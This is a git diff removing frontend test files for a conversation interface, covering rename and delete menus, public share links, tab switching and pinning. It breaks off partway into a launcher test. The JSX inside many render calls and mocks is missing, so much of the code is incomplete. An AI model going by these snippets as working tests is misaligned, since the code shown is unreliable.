const clickEvent = new MouseEvent("click", { bubbles: true }); - const preventDefaultSpy = vi.spyOn(clickEvent, "preventDefault"); - const stopPropagationSpy = vi.spyOn(clickEvent, "stopPropagation"); - - inputElement.dispatchEvent(clickEvent); - - expect(preventDefaultSpy).toHaveBeenCalled(); - expect(stopPropagationSpy).toHaveBeenCalled(); - }); - - it("should return to view mode after blur", async () => { - const user = userEvent.setup(); - renderConversationNameWithRouter(); - - const titleElement = screen.getByTestId("conversation-name-title"); - await user.dblClick(titleElement); - - // Should be in edit mode - expect(screen.getByTestId("conversation-name-input")).toBeInTheDocument(); - - await user.tab(); - - // Should be back in view mode - expect(screen.getByTestId("conversation-name-title")).toBeInTheDocument(); - expect( - screen.queryByTestId("conversation-name-input"), - ).not.toBeInTheDocument(); - }); - - it("should not render the llm model in the title bar", () => { - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "test-conversation-id", - title: "Test Conversation", - status: "RUNNING", - llm_model: "openai/gpt-4o", - } as Conversation, - }); - - renderConversationNameWithRouter(); - - expect( - screen.queryByTestId("conversation-name-llm-model"), - ).not.toBeInTheDocument(); - }); - - it("should focus input when entering edit mode", async () => { - const user = userEvent.setup(); - renderConversationNameWithRouter(); - - const titleElement = screen.getByTestId("conversation-name-title"); - await user.dblClick(titleElement); - - const inputElement = screen.getByTestId("conversation-name-input"); - expect(inputElement).toHaveFocus(); - }); -}); - -describe("ConversationNameContextMenu", () => { - const defaultProps = { - onClose: vi.fn(), - }; - - beforeEach(() => { - useActiveBackendMock.mockReturnValue({ - backend: localBackend, - orgId: null, - }); - }); - - afterEach(() => { - vi.clearAllMocks(); - }); - - it("should render all menu options when all handlers are provided", () => { - const handlers = { - onRename: vi.fn(), - onDelete: vi.fn(), - onStop: vi.fn(), - onDisplayCost: vi.fn(), - onShowAgentTools: vi.fn(), - onShowSkills: vi.fn(), - onDownloadConversation: vi.fn(), - }; - - renderWithProviders( - , - ); - - expect(screen.getByTestId("rename-button")).toBeInTheDocument(); - expect(screen.getByTestId("delete-button")).toBeInTheDocument(); - expect(screen.getByTestId("stop-button")).toBeInTheDocument(); - expect(screen.getByTestId("display-cost-button")).toBeInTheDocument(); - expect(screen.getByTestId("show-agent-tools-button")).toBeInTheDocument(); - expect(screen.getByTestId("show-skills-button")).toBeInTheDocument(); - expect( - screen.getByTestId("download-trajectory-button"), - ).toBeInTheDocument(); - }); - - it("should not render menu options when handlers are not provided", () => { - renderWithProviders(); - - expect(screen.queryByTestId("rename-button")).not.toBeInTheDocument(); - expect(screen.queryByTestId("delete-button")).not.toBeInTheDocument(); - expect(screen.queryByTestId("stop-button")).not.toBeInTheDocument(); - expect(screen.queryByTestId("display-cost-button")).not.toBeInTheDocument(); - expect( - screen.queryByTestId("show-agent-tools-button"), - ).not.toBeInTheDocument(); - expect(screen.queryByTestId("show-skills-button")).not.toBeInTheDocument(); - }); - - it("should call rename handler when rename button is clicked", async () => { - const user = userEvent.setup(); - const onRename = vi.fn(); - - renderWithProviders( - , - ); - - const renameButton = screen.getByTestId("rename-button"); - await user.click(renameButton); - - expect(onRename).toHaveBeenCalledTimes(1); - }); - - it("should call delete handler when delete button is clicked", async () => { - const user = userEvent.setup(); - const onDelete = vi.fn(); - - renderWithProviders( - , - ); - - const deleteButton = screen.getByTestId("delete-button"); - await user.click(deleteButton); - - expect(onDelete).toHaveBeenCalledTimes(1); - }); - - it("should call stop handler when stop button is clicked", async () => { - const user = userEvent.setup(); - const onStop = vi.fn(); - - renderWithProviders( - , - ); - - const stopButton = screen.getByTestId("stop-button"); - await user.click(stopButton); - - expect(onStop).toHaveBeenCalledTimes(1); - }); - - it("should call display cost handler when display cost button is clicked", async () => { - const user = userEvent.setup(); - const onDisplayCost = vi.fn(); - - renderWithProviders( - , - ); - - const displayCostButton = screen.getByTestId("display-cost-button"); - await user.click(displayCostButton); - - expect(onDisplayCost).toHaveBeenCalledTimes(1); - }); - - it("should call show agent tools handler when show agent tools button is clicked", async () => { - const user = userEvent.setup(); - const onShowAgentTools = vi.fn(); - - renderWithProviders( - , - ); - - const showAgentToolsButton = screen.getByTestId("show-agent-tools-button"); - await user.click(showAgentToolsButton); - - expect(onShowAgentTools).toHaveBeenCalledTimes(1); - }); - - it("should call show microagents handler when show microagents button is clicked", async () => { - const user = userEvent.setup(); - const onShowSkills = vi.fn(); - - renderWithProviders( - , - ); - - const showMicroagentsButton = screen.getByTestId("show-skills-button"); - await user.click(showMicroagentsButton); - - expect(onShowSkills).toHaveBeenCalledTimes(1); - }); - - it("forwards the position prop as a data-position attribute (top)", () => { - const handlers = { - onRename: vi.fn(), - }; - - renderWithProviders( - , - ); - - expect( - screen.getByTestId("conversation-name-context-menu"), - ).toHaveAttribute("data-position", "top"); - }); - - it("forwards the position prop as a data-position attribute (bottom)", () => { - const handlers = { - onRename: vi.fn(), - }; - - renderWithProviders( - , - ); - - expect( - screen.getByTestId("conversation-name-context-menu"), - ).toHaveAttribute("data-position", "bottom"); - }); - - it("should render correct text content for each menu option", () => { - const handlers = { - onRename: vi.fn(), - onDelete: vi.fn(), - onStop: vi.fn(), - onDisplayCost: vi.fn(), - onShowAgentTools: vi.fn(), - onShowSkills: vi.fn(), - onExportTranscript: vi.fn(), - onDownloadConversation: vi.fn(), - }; - - renderWithProviders( - , - ); - - expect(screen.getByTestId("rename-button")).toHaveTextContent("Rename"); - expect(screen.getByTestId("delete-button")).toHaveTextContent( - "Delete Conversation", - ); - expect(screen.getByTestId("stop-button")).toHaveTextContent( - "Stop Conversation", - ); - expect(screen.getByTestId("display-cost-button")).toHaveTextContent( - "Display Cost", - ); - expect(screen.getByTestId("show-agent-tools-button")).toHaveTextContent( - "Show Agent Tools", - ); - expect(screen.getByTestId("show-skills-button")).toHaveTextContent( - "Show Skills", - ); - expect(screen.getByTestId("export-transcript-button")).toHaveTextContent( - "Export…", - ); - expect(screen.getByTestId("download-trajectory-button")).toHaveTextContent( - "Download conversation data", - ); - }); - - it("should call onClose when context menu is closed", () => { - const onClose = vi.fn(); - const handlers = { - onRename: vi.fn(), - }; - - renderWithProviders( - , - ); - - // The onClose is typically called by the parent component when clicking outside - // This test verifies the prop is properly passed - expect(onClose).toBeDefined(); - }); -}); - -describe("ConversationName public sharing", () => { - let updatePublicFlagSpy: ReturnType; - let writeTextSpy: ReturnType; - - beforeEach(() => { - if (!("clipboard" in navigator)) { - Object.defineProperty(globalThis.navigator, "clipboard", { - configurable: true, - value: { writeText: () => Promise.resolve() }, - }); - } - writeTextSpy = vi - .spyOn(navigator.clipboard, "writeText") - .mockResolvedValue(undefined); - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "test-conversation-id", - title: "Test Conversation", - status: "RUNNING", - public: false, - } as Conversation, - }); - useActiveBackendMock.mockReturnValue({ - backend: cloudBackend, - orgId: null, - }); - updatePublicFlagSpy = vi - .spyOn(AgentServerConversationService, "updateConversationPublicFlag") - .mockResolvedValue({ id: "test-conversation-id", public: true } as never); - }); - - afterEach(() => { - updatePublicFlagSpy.mockRestore(); - writeTextSpy.mockRestore(); - vi.clearAllMocks(); - }); - - it("renders the Public Share menu item on cloud backends", async () => { - const user = userEvent.setup(); - renderConversationNameWithRouter(); - - await user.click(screen.getByTestId("ellipsis-button")); - - expect(screen.getByTestId("share-publicly-button")).toBeInTheDocument(); - }); - - it("hides the Public Share menu item on local backends", async () => { - useActiveBackendMock.mockReturnValue({ - backend: localBackend, - orgId: null, - }); - const user = userEvent.setup(); - renderConversationNameWithRouter(); - - await user.click(screen.getByTestId("ellipsis-button")); - - expect( - screen.queryByTestId("share-publicly-button"), - ).not.toBeInTheDocument(); - }); - - it("calls the update service with the toggled flag when clicked", async () => { - const user = userEvent.setup(); - renderConversationNameWithRouter(); - - await user.click(screen.getByTestId("ellipsis-button")); - const toggleLabel = screen - .getByTestId("share-publicly-button") - .closest("label"); - expect(toggleLabel).not.toBeNull(); - await user.click(toggleLabel!); - - expect(updatePublicFlagSpy).toHaveBeenCalledWith( - "test-conversation-id", - true, - ); - }); - - it("uses the cloud environment domain for the share link and clipboard copy", async () => { - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "test-conversation-id", - title: "Test Conversation", - status: "RUNNING", - public: true, - } as Conversation, - }); - const expectedUrl = - "https://app.all-hands.dev/shared/conversations/test-conversation-id"; - const user = userEvent.setup(); - renderConversationNameWithRouter(); - - await user.click(screen.getByTestId("ellipsis-button")); - expect(screen.getByTestId("open-share-link-button")).toHaveAttribute( - "href", - expectedUrl, - ); - - await user.click(screen.getByTestId("copy-share-link-button")); - expect(writeTextSpy).toHaveBeenCalledWith(expectedUrl); - }); -}); diff --git a/__tests__/components/features/conversation/conversation-tab-content-crossfade.test.tsx b/__tests__/components/features/conversation/conversation-tab-content-crossfade.test.tsx deleted file mode 100644 index 38b8fc7e5..000000000 --- a/__tests__/components/features/conversation/conversation-tab-content-crossfade.test.tsx +++ /dev/null @@ -1,15 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect } from "vitest"; -import { ConversationTabContentCrossfade } from "#/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content-crossfade"; - -describe("ConversationTabContentCrossfade", () => { - it("renders the tab content when not loading", () => { - render( - -
- , - ); - - expect(screen.getByTestId("tab-child")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/conversation/conversation-tab-content.test.tsx b/__tests__/components/features/conversation/conversation-tab-content.test.tsx deleted file mode 100644 index bae5fb21e..000000000 --- a/__tests__/components/features/conversation/conversation-tab-content.test.tsx +++ /dev/null @@ -1,280 +0,0 @@ -import { render, screen, waitFor } from "@testing-library/react"; -import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { MemoryRouter } from "react-router"; -import { ConversationTabContent } from "#/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content"; -import { - useConversationStore, - ConversationTab, -} from "#/stores/conversation-store"; - -// Mock useConversationId hook -let mockConversationId = "test-conversation-id-123"; -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }), - useConversationId: () => ({ - conversationId: mockConversationId, - }), -})); - - - -// Mock lazy-loaded components -vi.mock("#/routes/files-tab", () => ({ - default: () =>
Files Tab Content
, -})); - -// Control for lazy loading test -let pendingBrowserTab: { promise: Promise; resolve: () => void } | null = null; -vi.mock("#/routes/browser-tab", () => ({ - default: () => { - if (pendingBrowserTab) { - throw pendingBrowserTab.promise; - } - return
Browser Tab Content
; - }, -})); - -vi.mock("#/routes/planner-tab", () => ({ - default: () => ( -
Planner Tab Content
- ), -})); - -vi.mock("#/components/features/terminal/terminal", () => ({ - default: () => ( -
Terminal Tab Content
- ), -})); - -// Mock ConversationLoading component -vi.mock("#/components/features/conversation/conversation-loading", () => ({ - ConversationLoading: () => ( -
Loading...
- ), -})); - -describe("ConversationTabContent", () => { - let queryClient: QueryClient; - - const createWrapper = () => { - return ({ children }: { children: React.ReactNode }) => ( - - {children} - - ); - }; - - const setSelectedTab = (tab: ConversationTab | null) => { - useConversationStore.setState({ selectedTab: tab }); - }; - - beforeEach(() => { - queryClient = new QueryClient({ - defaultOptions: { - queries: { - retry: false, - }, - }, - }); - // Reset store state - useConversationStore.setState({ selectedTab: "files" }); - // Reset conversation ID - mockConversationId = "test-conversation-id-123"; - }); - - afterEach(() => { - vi.clearAllMocks(); - queryClient.clear(); - }); - - describe("Rendering", () => { - it("should render files tab content by default", async () => { - setSelectedTab("files"); - - render(, { wrapper: createWrapper() }); - - await waitFor(() => { - expect(screen.getByTestId("files-tab-content")).toBeInTheDocument(); - }); - }); - - it("should render files tab when selectedTab is null", async () => { - setSelectedTab(null); - - render(, { wrapper: createWrapper() }); - - await waitFor(() => { - expect(screen.getByTestId("files-tab-content")).toBeInTheDocument(); - }); - }); - }); - - describe("Tab switching", () => { - it("should render browser tab when selected", async () => { - setSelectedTab("browser"); - - render(, { wrapper: createWrapper() }); - - await waitFor(() => { - expect(screen.getByTestId("browser-tab-content")).toBeInTheDocument(); - }); - }); - - it("should render terminal tab when selected", async () => { - setSelectedTab("terminal"); - - render(, { wrapper: createWrapper() }); - - await waitFor(() => { - expect(screen.getByTestId("terminal-tab-content")).toBeInTheDocument(); - }); - }); - - it("should render planner tab when selected", async () => { - setSelectedTab("planner"); - - render(, { wrapper: createWrapper() }); - - await waitFor(() => { - expect(screen.getByTestId("planner-tab-content")).toBeInTheDocument(); - }); - }); - }); - - describe("Tab key behavior", () => { - it("should remount terminal when conversation ID changes", async () => { - setSelectedTab("terminal"); - - const { rerender } = render(, { - wrapper: createWrapper(), - }); - - await waitFor(() => { - expect(screen.getByTestId("terminal-tab-content")).toBeInTheDocument(); - }); - - // Get reference to the terminal DOM node - const terminalBefore = screen.getByTestId("terminal-tab-content"); - - // Change conversation ID - mockConversationId = "test-conversation-id-456"; - - // Rerender to pick up the new conversation ID - rerender(); - - await waitFor(() => { - expect(screen.getByTestId("terminal-tab-content")).toBeInTheDocument(); - }); - - // Get new reference - const terminalAfter = screen.getByTestId("terminal-tab-content"); - - // If key includes conversation ID, component should remount = different DOM node - expect(terminalBefore).not.toBe(terminalAfter); - }); - - it("should NOT remount non-terminal tabs when conversation ID changes", async () => { - setSelectedTab("browser"); - - const { rerender } = render(, { - wrapper: createWrapper(), - }); - - await waitFor(() => { - expect(screen.getByTestId("browser-tab-content")).toBeInTheDocument(); - }); - - // Get reference to the browser DOM node - const browserBefore = screen.getByTestId("browser-tab-content"); - - // Change conversation ID - mockConversationId = "test-conversation-id-789"; - - // Rerender - rerender(); - - await waitFor(() => { - expect(screen.getByTestId("browser-tab-content")).toBeInTheDocument(); - }); - - // Get new reference - const browserAfter = screen.getByTestId("browser-tab-content"); - - // If key does NOT include conversation ID, component should NOT remount = same DOM node - expect(browserBefore).toBe(browserAfter); - }); - }); - - describe("Lazy loading", () => { - afterEach(() => { - pendingBrowserTab = null; - }); - - it("should show loading fallback while component is loading", async () => { - let resolveFn: () => void; - pendingBrowserTab = { - promise: new Promise((resolve) => { - resolveFn = resolve; - }), - resolve: () => { - pendingBrowserTab = null; // Clear first so re-render doesn't throw again - resolveFn(); - }, - }; - - setSelectedTab("browser"); - - render(, { wrapper: createWrapper() }); - - // Verify loading fallback is shown - expect(screen.getByTestId("conversation-loading")).toBeInTheDocument(); - - // Resolve to load the component - pendingBrowserTab!.resolve(); - - // Verify content appears - await waitFor(() => { - expect(screen.getByTestId("browser-tab-content")).toBeInTheDocument(); - }); - }); - }); - - describe("Tab state persistence", () => { - it("should render content based on store state", async () => { - // First render with files tab - setSelectedTab("files"); - - const { rerender } = render(, { - wrapper: createWrapper(), - }); - - await waitFor(() => { - expect(screen.getByTestId("files-tab-content")).toBeInTheDocument(); - }); - - // Change the store state - setSelectedTab("terminal"); - - // Rerender - rerender(); - - await waitFor(() => { - expect(screen.getByTestId("terminal-tab-content")).toBeInTheDocument(); - }); - }); - }); - - describe("Suspense boundary", () => { - it("should wrap tab content in Suspense boundary", async () => { - setSelectedTab("files"); - - render(, { wrapper: createWrapper() }); - - // The component should render without throwing - await waitFor(() => { - expect(screen.getByTestId("files-tab-content")).toBeInTheDocument(); - }); - }); - }); -}); diff --git a/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx b/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx deleted file mode 100644 index 0046aefd1..000000000 --- a/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx +++ /dev/null @@ -1,166 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { ConversationTabsContextMenu } from "#/components/features/conversation/conversation-tabs/conversation-tabs-context-menu"; -import { useConversationStore } from "#/stores/conversation-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store"; -import { - ACTIVE_BACKEND_STORAGE_KEY, - BACKENDS_STORAGE_KEY, -} from "#/api/backend-registry/storage"; -import type { Backend } from "#/api/backend-registry/types"; - -const CONVERSATION_ID = "conv-abc123"; - -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }), - useConversationId: () => ({ conversationId: CONVERSATION_ID }), -})); - -let mockHasTaskList = false; -vi.mock("#/hooks/use-task-list", () => ({ - useTaskList: () => ({ - hasTaskList: mockHasTaskList, - taskList: [], - }), -})); - -vi.mock("#/hooks/use-is-archived-conversation", () => ({ - useIsArchivedConversation: () => false, -})); - -function seedActiveBackend(backend: Backend): void { - localStorage.setItem(BACKENDS_STORAGE_KEY, JSON.stringify([backend])); - localStorage.setItem( - ACTIVE_BACKEND_STORAGE_KEY, - JSON.stringify({ backendId: backend.id, orgId: null }), - ); - __resetActiveStoreForTests(); -} - -describe("ConversationTabsContextMenu", () => { - beforeEach(() => { - localStorage.clear(); - __resetActiveStoreForTests(); - mockHasTaskList = false; - useConversationStore.setState({ - selectedTab: "files", - isRightPanelShown: true, - hasRightPanelToggled: true, - }); - }); - - it("should render nothing when isOpen is false", () => { - const { container } = render( - , - ); - - expect(container.innerHTML).toBe(""); - }); - - it("should render all default tabs when open", () => { - render(); - - const expectedTabs = ["COMMON$FILES", "COMMON$TERMINAL", "COMMON$BROWSER"]; - for (const tab of expectedTabs) { - expect(screen.getByText(tab)).toBeInTheDocument(); - } - - // Planner is cloud-only; on the default (local) backend it is hidden. - expect(screen.queryByText("COMMON$PLANNER")).not.toBeInTheDocument(); - }); - - it("should show the Planner entry when the active backend is cloud", () => { - seedActiveBackend({ - id: "cloud-test", - name: "Cloud Test", - host: "https://app.example.com", - apiKey: "secret", - kind: "cloud", - }); - - render( - - - , - ); - - expect(screen.getByText("COMMON$PLANNER")).toBeInTheDocument(); - }); - - it("should open a tab from the label button without changing pin state", async () => { - const user = userEvent.setup(); - - render(); - - await user.click(screen.getByTestId("conversation-tabs-menu-open-terminal")); - - expect(useConversationStore.getState().selectedTab).toBe("terminal"); - const storedState = JSON.parse( - localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!, - ); - expect(storedState.unpinnedTabs).toEqual([]); - }); - - it("should re-pin a tab when clicking the pin control on an unpinned tab", async () => { - const user = userEvent.setup(); - - render(); - - await user.click(screen.getByTestId("conversation-tabs-menu-pin-terminal")); - let storedState = JSON.parse( - localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!, - ); - expect(storedState.unpinnedTabs).toContain("terminal"); - - await user.click(screen.getByTestId("conversation-tabs-menu-pin-terminal")); - storedState = JSON.parse( - localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!, - ); - expect(storedState.unpinnedTabs).not.toContain("terminal"); - }); - - it("should switch to another pinned tab when unpinning the currently active tab via pin control", async () => { - const user = userEvent.setup(); - - render(); - - expect(useConversationStore.getState().selectedTab).toBe("files"); - - await user.click(screen.getByTestId("conversation-tabs-menu-pin-files")); - - const storeState = useConversationStore.getState(); - expect(storeState.hasRightPanelToggled).toBe(true); - expect(storeState.selectedTab).toBe("terminal"); - - const storedState = JSON.parse( - localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!, - ); - expect(storedState.unpinnedTabs).toContain("files"); - expect(storedState.selectedTab).toBe("terminal"); - }); - - it("should not close the right panel when unpinning a non-active tab", async () => { - const user = userEvent.setup(); - - render(); - - await user.click(screen.getByTestId("conversation-tabs-menu-pin-terminal")); - - const storeState = useConversationStore.getState(); - expect(storeState.hasRightPanelToggled).toBe(true); - }); - - describe("with tasklist", () => { - beforeEach(() => { - mockHasTaskList = true; - }); - - it("should show tasklist in context menu when hasTaskList is true", () => { - render(); - - expect(screen.getByText("COMMON$TASK_LIST")).toBeInTheDocument(); - }); - }); -}); diff --git a/__tests__/components/features/conversation/conversation-tabs.test.tsx b/__tests__/components/features/conversation/conversation-tabs.test.tsx deleted file mode 100644 index fd09411bf..000000000 --- a/__tests__/components/features/conversation/conversation-tabs.test.tsx +++ /dev/null @@ -1,610 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { MemoryRouter } from "react-router"; -import { ConversationTabs } from "#/components/features/conversation/conversation-tabs/conversation-tabs"; -import { useConversationStore } from "#/stores/conversation-store"; -import { AgentState } from "#/types/agent-state"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store"; -import { - ACTIVE_BACKEND_STORAGE_KEY, - BACKENDS_STORAGE_KEY, -} from "#/api/backend-registry/storage"; -import type { Backend } from "#/api/backend-registry/types"; - -const TASK_CONVERSATION_ID = "task-ec03fb2ab8604517b24af632b058c2fd"; -const REAL_CONVERSATION_ID = "conv-abc123"; - -let mockConversationId = TASK_CONVERSATION_ID; - -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }), - useConversationId: () => ({ conversationId: mockConversationId }), -})); - -let mockHasTaskList = false; -vi.mock("#/hooks/use-task-list", () => ({ - useTaskList: () => ({ - hasTaskList: mockHasTaskList, - taskList: [], - }), -})); - -const mockRefetchGitChanges = vi.fn(); -let mockIsFetchingGitChanges = false; -vi.mock("#/hooks/query/use-unified-get-git-changes", () => ({ - useUnifiedGetGitChanges: () => ({ - refetch: mockRefetchGitChanges, - isFetching: mockIsFetchingGitChanges, - data: [], - }), -})); - -const mockHandleBuildPlanClick = vi.fn(); -vi.mock("#/hooks/use-handle-build-plan-click", () => ({ - useHandleBuildPlanClick: () => ({ - handleBuildPlanClick: mockHandleBuildPlanClick, - }), -})); - -let mockCurAgentState = AgentState.AWAITING_USER_INPUT; -vi.mock("#/hooks/use-agent-state", () => ({ - useAgentState: () => ({ curAgentState: mockCurAgentState }), -})); - -vi.mock("#/hooks/query/use-unified-vscode-url", () => ({ - useUnifiedVSCodeUrl: () => ({ - data: { url: "http://localhost:8001", error: null }, - isLoading: false, - refetch: vi.fn().mockResolvedValue({ data: { url: "http://localhost:8001" } }), - }), -})); - -const createWrapper = (conversationId: string) => - function ({ children }: { children: React.ReactNode }) { - return ( - - - {children} - - - ); - }; - -const seedConversationState = ( - conversationId: string, - overrides: Record = {}, -) => { - localStorage.setItem( - `conversation-state-${conversationId}`, - JSON.stringify({ - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: null, - ...overrides, - }), - ); -}; - -function seedActiveBackend(backend: Backend): void { - localStorage.setItem(BACKENDS_STORAGE_KEY, JSON.stringify([backend])); - localStorage.setItem( - ACTIVE_BACKEND_STORAGE_KEY, - JSON.stringify({ backendId: backend.id, orgId: null }), - ); - __resetActiveStoreForTests(); -} - -const setActiveTabState = (tab: "files" | "planner") => { - seedConversationState(REAL_CONVERSATION_ID, { - selectedTab: tab, - }); - useConversationStore.setState({ - selectedTab: tab, - isRightPanelShown: true, - hasRightPanelToggled: true, - }); -}; - -describe("ConversationTabs localStorage behavior", () => { - beforeEach(() => { - localStorage.clear(); - __resetActiveStoreForTests(); - vi.resetAllMocks(); - mockRefetchGitChanges.mockReset(); - mockHandleBuildPlanClick.mockReset(); - mockConversationId = TASK_CONVERSATION_ID; - mockHasTaskList = false; - mockIsFetchingGitChanges = false; - mockCurAgentState = AgentState.AWAITING_USER_INPUT; - useConversationStore.setState({ - selectedTab: null, - isRightPanelShown: false, - hasRightPanelToggled: false, - planContent: null, - }); - }); - - describe("task-prefixed conversation IDs", () => { - it("should not create localStorage entries for task-prefixed conversation IDs", () => { - render(, { - wrapper: createWrapper(TASK_CONVERSATION_ID), - }); - - expect( - localStorage.getItem(`conversation-state-${TASK_CONVERSATION_ID}`), - ).toBeNull(); - }); - }); - - describe("consolidated localStorage key", () => { - it("should use a single consolidated key for tab state", async () => { - mockConversationId = REAL_CONVERSATION_ID; - const user = userEvent.setup(); - - render(, { - wrapper: createWrapper(REAL_CONVERSATION_ID), - }); - - const changesTab = screen.getByTestId("conversation-tab-files"); - await user.click(changesTab); - - const consolidatedKey = `conversation-state-${REAL_CONVERSATION_ID}`; - const storedState = localStorage.getItem(consolidatedKey); - expect(storedState).not.toBeNull(); - - const parsed = JSON.parse(storedState!); - expect(parsed).toHaveProperty("selectedTab"); - expect(parsed).toHaveProperty("unpinnedTabs"); - // The right-drawer open state is session-only and must never - // be persisted into the consolidated conversation-state blob. - expect(parsed).not.toHaveProperty("rightPanelShown"); - }); - }); - - describe("hook integration", () => { - it("should open panel and select tab when clicking a tab while panel is closed", async () => { - mockConversationId = REAL_CONVERSATION_ID; - const user = userEvent.setup(); - - // Arrange: Panel is closed, no tab selected - useConversationStore.setState({ - selectedTab: null, - isRightPanelShown: false, - hasRightPanelToggled: false, - }); - - render(, { - wrapper: createWrapper(REAL_CONVERSATION_ID), - }); - - // Act: Click the terminal tab - const terminalTab = screen.getByTestId("conversation-tab-terminal"); - await user.click(terminalTab); - - // Assert: Panel should be open and terminal tab selected (in-memory only). - expect(useConversationStore.getState().selectedTab).toBe("terminal"); - expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); - - // Tab selection persists to localStorage; drawer-open state does not. - const storedState = JSON.parse( - localStorage.getItem(`conversation-state-${REAL_CONVERSATION_ID}`)!, - ); - expect(storedState.selectedTab).toBe("terminal"); - expect(storedState).not.toHaveProperty("rightPanelShown"); - }); - - it("should close panel when clicking the same active tab", async () => { - mockConversationId = REAL_CONVERSATION_ID; - const user = userEvent.setup(); - - // Arrange: Panel is open with editor tab selected - useConversationStore.setState({ - selectedTab: "files", - isRightPanelShown: true, - hasRightPanelToggled: true, - }); - - render(, { - wrapper: createWrapper(REAL_CONVERSATION_ID), - }); - - // Act: Click the editor tab again - const editorTab = screen.getByTestId("conversation-tab-files"); - await user.click(editorTab); - - // Assert: Panel should be closed (in-memory only). - expect(useConversationStore.getState().hasRightPanelToggled).toBe(false); - - // localStorage must NOT carry the drawer-open state — that's - // session-only by design. - const raw = localStorage.getItem( - `conversation-state-${REAL_CONVERSATION_ID}`, - ); - if (raw !== null) { - expect(JSON.parse(raw)).not.toHaveProperty("rightPanelShown"); - } - }); - - it("should switch to different tab when clicking another tab while panel is open", async () => { - mockConversationId = REAL_CONVERSATION_ID; - const user = userEvent.setup(); - - // Arrange: Panel is open with editor tab selected - useConversationStore.setState({ - selectedTab: "files", - isRightPanelShown: true, - hasRightPanelToggled: true, - }); - - render(, { - wrapper: createWrapper(REAL_CONVERSATION_ID), - }); - - // Act: Click the browser tab - const browserTab = screen.getByTestId("conversation-tab-browser"); - await user.click(browserTab); - - // Assert: Browser tab should be selected, panel still open - expect(useConversationStore.getState().selectedTab).toBe("browser"); - expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); - - // Verify localStorage was updated - const storedState = JSON.parse( - localStorage.getItem(`conversation-state-${REAL_CONVERSATION_ID}`)!, - ); - expect(storedState.selectedTab).toBe("browser"); - }); - }); - - describe("tab action buttons", () => { - beforeEach(() => { - mockConversationId = REAL_CONVERSATION_ID; - }); - - it("no longer renders the refresh button in the top tab bar (it now lives inside the Files tab toolbar)", () => { - setActiveTabState("files"); - - render(, { - wrapper: createWrapper(REAL_CONVERSATION_ID), - }); - - // The old conversation-tabs refresh button used aria-label "COMMON$FILES" - // on a top-bar - ), -})); - -// Stub the selection dialogs. We mirror the real component's contract: -// `onConfirm(selection)` is followed by `onClose()` so the parent's pending -// state is set and the dialog disappears. -vi.mock("#/components/features/home/open-workspace-dialog", () => ({ - OpenWorkspaceDialog: ({ - isOpen, - onClose, - onConfirm, - }: { - isOpen: boolean; - onClose: () => void; - onConfirm: (w: { id: string; name: string; path: string }) => void; - }) => - isOpen ? ( - - ) : null, -})); - -vi.mock("#/components/features/home/open-repository-dialog", () => ({ - OpenRepositoryDialog: ({ - isOpen, - onClose, - onConfirm, - }: { - isOpen: boolean; - onClose: () => void; - onConfirm: (s: { - repository: { - id: string; - full_name: string; - git_provider: "github"; - is_public: boolean; - }; - branch: { name: string }; - provider: "github" | null; - }) => void; - }) => - isOpen ? ( - - ) : null, -})); - -// HomeGitControlBarPreview pulls in settings + provider hooks we don't care -// about for these tests. It's purely presentational once a selection is -// confirmed, so a thin stub is sufficient. -vi.mock("#/components/features/home/home-git-control-bar-preview", () => ({ - HomeGitControlBarPreview: ({ - workspaceMode, - backendKind, - onWorkspaceModeChange, - }: { - workspaceMode: "local_repo" | "new_worktree"; - backendKind: "local" | "cloud"; - onWorkspaceModeChange: (mode: "local_repo" | "new_worktree") => void; - }) => ( -
- - {backendKind}:{workspaceMode} - - -
- ), -})); - -// Stub the picker modal: pressing it selects one plugin then closes, mirroring -// the real modal's `onChange` + `onClose` contract. The picker catalog itself -// is covered by plugin-picker.test.tsx. -vi.mock("#/components/features/plugins/plugin-picker-modal", () => ({ - PluginPickerModal: ({ - onChange, - onClose, - }: { - onChange: (next: { source: string; ref: null; repo_path: null }[]) => void; - onClose: () => void; - }) => ( - - ), -})); - -const renderLauncher = () => - render(, { - wrapper: ({ children }) => ( - - {children} - - ), - }); - -function makeConversationResponse( - overrides: Record = {}, -): never { - return { - id: "conv-abc", - created_by_user_id: null, - status: "READY", - detail: null, - app_conversation_id: "conv-abc", - agent_server_url: "http://agent-server.local", - request: { initial_message: undefined, plugins: null }, - created_at: new Date().toISOString(), - updated_at: new Date().toISOString(), - ...overrides, - } as never; -} - -const localBackend = { - backend: { - id: "local-id", - name: "Local", - host: "http://localhost", - apiKey: "test", - kind: "local" as const, - }, - orgId: null, -}; - -const cloudBackend = { - backend: { - id: "cloud-id", - name: 